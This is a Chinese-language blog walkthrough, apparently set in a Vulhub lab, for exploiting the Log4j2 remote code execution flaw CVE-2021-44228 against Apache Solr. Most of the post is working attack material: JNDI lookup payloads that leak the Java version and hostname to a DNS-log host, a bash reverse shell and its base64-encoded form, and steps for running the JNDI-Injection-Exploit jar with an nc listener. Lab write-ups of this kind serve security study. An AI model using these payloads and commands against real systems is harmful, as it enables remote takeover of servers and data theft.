CVE-2021-44228_Log4j2远程命令执行漏洞

漏洞描述

Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。如:Apache Struts2、Apache Solr、Apache Druid、Apache Flink等。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

  • 漏洞编号:CVE-2021-44228
  • 影响范围:Apache Log4j 2.x < 2.15.0-rc2

环境搭建

1
2
3
cd /vulhub/log4j/CVE-2021-44228
docker-compose build
docker-compose up -d

漏洞利用

漏洞验证

  • 访问漏洞点
1
http://127.0.0.1:8983/solr/admin/cores?action=xxxx
  • 注意poc需要进行url编码
1
action=${jndi:ldap://bilgjxgdwm.dnstunnel.run}
  • 如果dnslog有返回值则证明存在此漏洞
  • 获取系统信息
1
2
action=${jndi:ldap://${sys:java.version}.bilgjxgdwm.dnstunnel.run}	// 获取java版本
action=${jndi:ldap://${env:HOSTNAME}.bilgjxgdwm.dnstunnel.run} // 获取hostname

JNDI注入反弹shell

  • 准备反弹shell的命令:
1
2
3
4
bash -i >& /dev/tcp/192.168.31.177/6666 0>&1

// 注意“命令”必须经过编码,不然将无法实现
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE3Ny82NjY2IDA+JjE=

下载

https://github.com/welk1n/JNDI-Injection-Exploit

1
wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

命令介绍

  • 可执行程序为jar包,在命令行中运行以下命令:
1
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

参数介绍

  • -C - 远程class文件中要执行的命令。

    (可选项 , 默认命令是mac下打开计算器,即”open /Applications/Calculator.app”)

  • -A - 服务器地址,可以是IP地址或者域名。

    (可选项 , 默认地址是第一个网卡地址)

注意

  • 要确保 109913898180端口可用,不被其他程序占用。

    或者你也可以在run.ServerStart类26~28行更改默认端口。

  • 命令会被作为参数传入**Runtime.getRuntime().exec()**,

    所以需要确保命令传入exec()方法可执行。

    bash等可在shell直接执行的相关命令需要加双引号,比如说 java -jar JNDI.jar -C “bash -c …”

JNDI注入反弹shell

    1. 将bash编码添加到-c参数之后,然后运行漏洞利用的jar文件:
1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE3Ny82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.31.177"
    1. 执行端口监听命令
1
nc -lvnp 6666
    1. 在此执行poc

替换POC内容为JDK 1.8的 RMI 协议

1
http://127.0.01:8983/solr/admin/cores?action=${jndi:rmi://192.168.31.177:1099/4xavbb}
    1. 此时会提示一次响应请求
    1. 返回nc查看

此时可以看到已经反弹成功


CVE-2021-44228_Log4j2远程命令执行漏洞
https://www.gasmaze.com/posts/9672b74f.html
作者
GasMaze
发布于
2022年7月29日
许可协议